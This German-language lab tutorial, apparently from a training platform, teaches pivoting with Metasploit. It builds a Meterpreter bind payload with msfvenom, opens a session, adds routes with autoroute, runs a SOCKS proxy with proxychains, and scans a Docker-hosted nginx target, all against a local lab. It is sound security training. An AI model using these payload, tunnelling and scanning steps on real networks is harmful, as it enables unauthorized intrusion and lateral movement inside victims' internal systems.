Metasploit Autorouting

CybersicherheitBeginner
Jetzt üben

Einführung

Laterale Bewegungen sind eine kritische Phase bei Penetrationstests, in der ein Angreifer ein kompromittiertes System nutzt, um auf andere Hosts im selben internen Netzwerk zuzugreifen. Oft sind diese internen Netzwerke isoliert und können nicht direkt von außen erreicht werden.

Der wichtige konzeptionelle Sprung besteht darin, dass es bei einer Kompromittierung nicht nur um den ersten Host geht. Der erste Host ist oft deshalb von Bedeutung, weil er den Zugang zu weiteren Netzwerken, Routen und Vertrauensbeziehungen ermöglicht.

In diesem Lab lernen Sie, wie Sie laterale Bewegungen mit dem Metasploit Framework durchführen. Sie simulieren den ersten Zugriff auf einen Dual-Homed-Host, nutzen die Autoroute-Funktion von Metasploit, um über Ihre Meterpreter-Sitzung zu pivotieren, und konfigurieren einen SOCKS-Proxy, damit externe Tools mit dem verborgenen internen Netzwerk interagieren können.

Interne Subnetze identifizieren (arp/ipconfig)

In diesem Schritt simulieren wir den ersten Zugriff auf einen kompromittierten Server. Dazu erstellen wir ein lokales Payload, führen es aus und fangen die Verbindung mit Metasploit ab, um eine Meterpreter-Sitzung aufzubauen. Sobald die Verbindung steht, untersuchen wir die Netzwerkschnittstellen, um isolierte interne Subnetze zu identifizieren.

Stellen Sie zunächst sicher, dass Sie sich in Ihrem Projektverzeichnis befinden, und verwenden Sie msfvenom, um ein ausführbares Linux-Payload zu erstellen. Dieses Payload öffnet einen Listening-Port auf dem Zielrechner (was in unserer Simulation der lokale Rechner ist).

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

Wenn Sie Metasploit in der aktuellen Lab-Umgebung zum ersten Mal verwenden, sehen Sie möglicherweise eine Einrichtungsaufforderung, bevor msfvenom das Payload erstellt. Wenn Sie gefragt werden, ob Sie eine neue Datenbank einrichten möchten, antworten Sie mit yes und warten Sie, bis die Einrichtung abgeschlossen ist.

Machen Sie das Payload anschließend ausführbar und führen Sie es im Hintergrund aus.

chmod +x payload.bin
./payload.bin &

Starten Sie nun die Metasploit-Konsole im stillen Modus (ohne Start-Banner) mit dem Flag -q.

msfconsole -q

Konfigurieren Sie innerhalb der Metasploit-Konsole den Multi-Handler, um eine Verbindung zu dem soeben ausgeführten Payload herzustellen.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Sie sollten eine Ausgabe sehen, die anzeigt, dass eine Meterpreter-Sitzung geöffnet wurde.

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

Mit der aktiven Meterpreter-Sitzung können Sie nun die Netzwerkkonfiguration des kompromittierten Hosts untersuchen. Verwenden Sie den Befehl ipconfig, um alle Netzwerkschnittstellen aufzulisten.

Das Aufzählen von Schnittstellen und Routen ist das Netzwerk-Äquivalent zur lokalen Privilegien-Enumeration. Sie müssen wissen, was der Host erreichen kann, bevor Sie ihn als Pivot-Punkt nutzen können.

meterpreter > ipconfig

Suchen Sie in der Ausgabe nach verschiedenen Subnetzen. In dieser Umgebung sehen Sie normalerweise das Haupt-VM-Netzwerk auf eth0 und ein Docker-Bridge-Subnetz wie 172.17.0.0/16 auf docker0. Dies sind die Routen, die Meterpreter oft automatisch erkennen und über die es pivotieren kann. Sie können auch den ARP-Cache überprüfen, um festzustellen, ob der Host mit Geräten in der Nähe kommuniziert hat.

meterpreter > arp

Lassen Sie diese Meterpreter-Sitzung geöffnet, da wir sie im nächsten Schritt zur Konfiguration unseres Routings verwenden werden.

Autoroute über Meterpreter hinzufügen

In diesem Schritt konfigurieren wir Metasploit so, dass der Datenverkehr über unsere aktive Meterpreter-Sitzung geleitet wird. In dieser Lab-Umgebung kann das autoroute-Modul die Routing-Tabelle des kompromittierten Hosts untersuchen und die entdeckten Subnetze automatisch hinzufügen. Dieser Vorgang wird als Pivoting bezeichnet und ermöglicht es uns, Netzwerke anzugreifen, die vom kompromittierten Host aus erreichbar sind.

Autoroute ist wertvoll, da es das Framework sitzungsbewusst macht. Sobald die Routen existieren, kann Metasploit automatisch den kompromittierten Host als Pfad zu diesen verborgenen Subnetzen wählen.

Versetzen Sie zunächst Ihre aktuelle Meterpreter-Sitzung in den Hintergrund, um zur Metasploit-Hauptkonsole zurückzukehren.

meterpreter > background

Sie erhalten eine Meldung, die bestätigt, dass Sitzung 1 in den Hintergrund verschoben wurde. Laden Sie nun das Post-Exploitation-Modul autoroute.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

Konfigurieren Sie das Modul, indem Sie die Sitzungs-ID angeben, über die der Datenverkehr geleitet werden soll, und führen Sie es dann aus. In dieser Umgebung durchsucht das Modul die Routing-Tabelle des Hosts und fügt die gefundenen Subnetze automatisch hinzu.

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

Sie sollten eine Ausgabe sehen, die anzeigt, dass eine oder mehrere Routen aus der Routing-Tabelle des Hosts hinzugefügt wurden. Ein typisches Ergebnis in dieser Umgebung sieht wie folgt aus:

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

Um zu überprüfen, ob die Route korrekt in Metasploit registriert wurde, können Sie die aktive Routing-Tabelle ausgeben.

msf6 post(multi/manage/autoroute) > route print

Die Ausgabe zeigt die Subnetze an, die Sitzung 1 zugeordnet wurden. Jedes Metasploit-Modul, das gegen eine IP-Adresse in einem dieser Bereiche ausgeführt wird, wird nun automatisch durch den kompromittierten Host getunnelt.

SOCKS-Proxy in Metasploit konfigurieren

Während die Autoroute-Funktion hervorragend für die integrierten Module von Metasploit geeignet ist, leitet sie den Datenverkehr für externe Befehlszeilen-Tools (wie curl oder nmap) nicht automatisch weiter. Um dies zu erreichen, müssen wir einen SOCKS-Proxy-Server innerhalb von Metasploit einrichten.

In diesem Schritt starten wir einen SOCKS-Proxy und konfigurieren das Tool proxychains für dessen Nutzung.

Laden Sie weiterhin innerhalb Ihrer Metasploit-Konsole das SOCKS-Proxy-Hilfsmodul.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

Konfigurieren Sie den Proxy so, dass er auf Ihrer lokalen Loopback-Adresse (127.0.0.1) auf Port 1080 lauscht. Wir verwenden die SOCKS-Version 4a.

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

Führen Sie den Proxy-Server als Hintergrundjob mit dem Flag -j aus.

msf6 auxiliary(server/socks_proxy) > run -j

Sie sehen eine Meldung, die bestätigt, dass der SOCKS-Proxy im Hintergrund läuft.

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Lassen Sie die Metasploit-Konsole geöffnet. Öffnen Sie einen neuen Terminal-Tab in Ihrer LabEx-Umgebung, um proxychains zu konfigurieren.

Öffnen Sie im neuen Terminal die Konfigurationsdatei von proxychains mit dem Texteditor nano und sudo-Rechten.

sudo nano /etc/proxychains4.conf

Scrollen Sie ganz nach unten zur Datei. Sie finden dort einen Abschnitt [ProxyList]. Standardmäßig könnte dort ein Eintrag wie socks4 127.0.0.1 9050 stehen. Ändern Sie diese Zeile (oder fügen Sie eine neue hinzu), damit sie mit dem Port übereinstimmt, den wir in Metasploit konfiguriert haben:

socks4  127.0.0.1 1080

Speichern Sie die Datei mit Ctrl+O, bestätigen Sie mit Enter und beenden Sie nano mit Ctrl+X.

Internes Netzwerk über Pivot scannen

In diesem letzten Schritt nutzen wir sowohl das Metasploit-Autoroute als auch den SOCKS-Proxy, um mit dem Docker-Bridge-Netzwerk zu interagieren. Docker weist möglicherweise bei jedem Start des Containers eine leicht geänderte IP-Adresse zu, daher wurde die tatsächliche Ziel-IP in ~/project/internal_target_ip.txt gespeichert.

In Ihrem zweiten Terminal können Sie die Ziel-IP jederzeit mit folgendem Befehl überprüfen:

cat ~/project/internal_target_ip.txt

Lassen Sie uns zunächst ein integriertes Metasploit-Modul verwenden, um das Ziel zu scannen. Kehren Sie zu Ihrem ersten Terminal-Tab zurück, in dem Metasploit läuft.

Laden Sie das TCP-Port-Scanner-Modul und konfigurieren Sie es so, dass Port 80 auf dem internen Ziel gescannt wird.

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

Da wir in Schritt 2 das Autoroute konfiguriert haben, weiß Metasploit, dass dieser Scan über Sitzung 1 gesendet werden muss. Sie sollten eine Ausgabe sehen, die anzeigt, dass Port 80 offen ist.

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Lassen Sie uns nun unseren SOCKS-Proxy testen. Wechseln Sie zurück zu Ihrem zweiten Terminal-Tab.

Wir verwenden den Befehl curl, um die Webseite vom internen Ziel abzurufen. Indem wir unserem Befehl proxychains voranstellen, wird der Datenverkehr gezwungen, über den SOCKS-Proxy zu laufen (der ihn durch Metasploit und letztendlich durch unsere Meterpreter-Sitzung leitet).

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

Sie sollten die Verbindungsprotokolle von proxychains sehen, gefolgt vom HTML-Titel der standardmäßigen Nginx-Webseite, die auf dem internen Ziel gehostet wird.

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

Herzlichen Glückwunsch! Sie haben erfolgreich über einen kompromittierten Host pivotiert, um mit einem isolierten internen Netzwerk zu interagieren – sowohl mit internen Metasploit-Modulen als auch mit externen Tools.

Zusammenfassung

In diesem Lab haben Sie die leistungsstarken Möglichkeiten für laterale Bewegungen des Metasploit Frameworks erkundet. Sie begannen mit der Erstellung eines Payloads und dem Aufbau einer Meterpreter-Sitzung, um einen kompromittierten Host zu simulieren. Anschließend identifizierten Sie ein isoliertes internes Subnetz und nutzten das autoroute-Modul von Metasploit, um den Datenverkehr durch Ihre Sitzung zu leiten. Schließlich konfigurierten Sie einen SOCKS-Proxy und nutzten proxychains, um externe Befehlszeilen-Tools in das interne Netzwerk zu tunneln. Diese Techniken sind grundlegend für die Navigation in komplexen Netzwerkumgebungen während Penetrationstests.